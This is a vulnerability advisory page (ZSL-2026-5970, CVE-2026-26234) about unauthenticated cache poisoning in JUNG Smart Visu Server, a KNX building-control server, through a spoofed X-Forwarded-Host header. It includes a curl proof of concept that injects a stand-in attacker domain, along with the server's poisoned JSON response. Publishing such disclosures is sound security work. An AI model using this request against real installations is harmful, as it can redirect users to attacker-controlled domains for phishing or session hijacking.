JUNG Smart Visu Server 1.1.1050 Request URL Override

🗓️ 12 Feb 2026 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 122 Views

Unauthenticated cache poisoning in JUNG Smart Visu Server via forwarded host header.

Reporter	Title	Published	Views	Family All 9
ATTACKERKB	CVE-2026-26234	12 Feb 202602:31	–	attackerkb
Circl	CVE-2026-26234	12 Feb 202606:59	–	circl
CNNVD	JUNG Smart Visu Server 安全漏洞	12 Feb 202600:00	–	cnnvd
CVE	CVE-2026-26234	12 Feb 202602:31	–	cve
Cvelist	CVE-2026-26234 JUNG Smart Visu Server - Improper Neutralization of HTTP Headers for Scripting Syntax	12 Feb 202602:31	–	cvelist
NVD	CVE-2026-26234	12 Feb 202604:15	–	nvd
Positive Technologies	PT-2026-7814	12 Feb 202600:00	–	ptsecurity
RedhatCVE	CVE-2026-26234	13 Feb 202607:21	–	redhatcve
Vulnrichment	CVE-2026-26234 JUNG Smart Visu Server - Improper Neutralization of HTTP Headers for Scripting Syntax	12 Feb 202602:31	–	vulnrichment

<html><body><p>JUNG Smart Visu Server 1.1.1050 Request URL Override


Vendor: ALBRECHT JUNG GMBH &amp; CO. KG
Product web page: https://www.jung-group.com | https://www.jung.de
Affected version: 1.1.1050
                  1.0.905
                  1.0.832
                  1.0.830

Summary: The Smart Visu Server makes your intelligent building
control convenient. With the user-friendly operating concept,
you can control both the KNX system and other systems such as
Philips Hue or Sonos on your mobile devices. You can likewise
connect voice control to your KNX system with Amazon Alexa or
Google Assistant via the Smart Visu Server.

Desc: The vulnerability enables unauthenticated attackers to perform
cache poisoning attacks by overriding the effective host in proxied
requests through manipulation of the 'X-Forwarded-Host' header. When
a malicious actor sends a request with an arbitrary value, the backend
application or proxy fails to properly validate or sanitize this header,
resulting in the generation of responses that incorporate the injected
host as legitimate URLs or links, redirecting to the attacker's controlled
domain. This can lead to persistent cache poisoning, where the tainted
content is stored and served to unsuspecting users, facilitating phishing,
session hijacking, or the distribution of malicious payloads.

Tested on: Jetty(9.2.12.v20150709)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2026-5970
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2026-5970.php


07.02.2026

--


$ curl "http://10.0.0.16:8080/rest/items?2sdh5r6txj=1" \
 -H "User-Agent: thricer-engine/1.6" \
 -H "X-Forwarded-Host: sillysec.com"

HTTP/1.1 200 OK
Content-Type: application/json
Connection: close

[{"link":"http://sillysec.com/rest/items/knxcom_action_2019829213754373","state":"NULL","type":"SwitchItem","name":"knxcom_action_2019829213754373","label":"Timer_ON","tags":["knxcommissioning","knxcom_action","{\"knxcom_action\":\"knxcom_action\",\"actionType\":\"time\",\"function_states\":[{\"function_name\":\"knxcom_function_201817101939842\",\"channel_states\":[{\"channel_index\":0,\"channel_commands\":{\"OnOffType\":\"ON\"}}]},{\"function_name\":\"knxcom_function_2017919141856124\",\"channel_states\":[{\"channel_index\":0,\"channel_commands\":{\"OnOffType\":\"ON\"}}]},{\"function_name\":\"knxcom_function_2017919144055744\",\"channel_states\":[{\"channel_index\":0,\"channel_commands\":{\"OnOffType\":\"ON\"}}]}],\"icon\":\"schaltuhr\",\"sortindex\":{\"generic\":3},\"timer\":{\"time\":\"16:0\",\"weekdays\":{\"1\":true,\"2\":true,\"3\":true,\"4\":true,\"5\":true,\"6\":true,\"7\":true}}}"],"groupNames":["knxcom_group_201982922375216"]},{"link":
...
...
</p></body></html>

12 Feb 2026 00:00Current

5.9Medium risk

Vulners AI Score5.9

CVSS 48.7

CVSS 3.18.8

EPSS0.00045

SSVC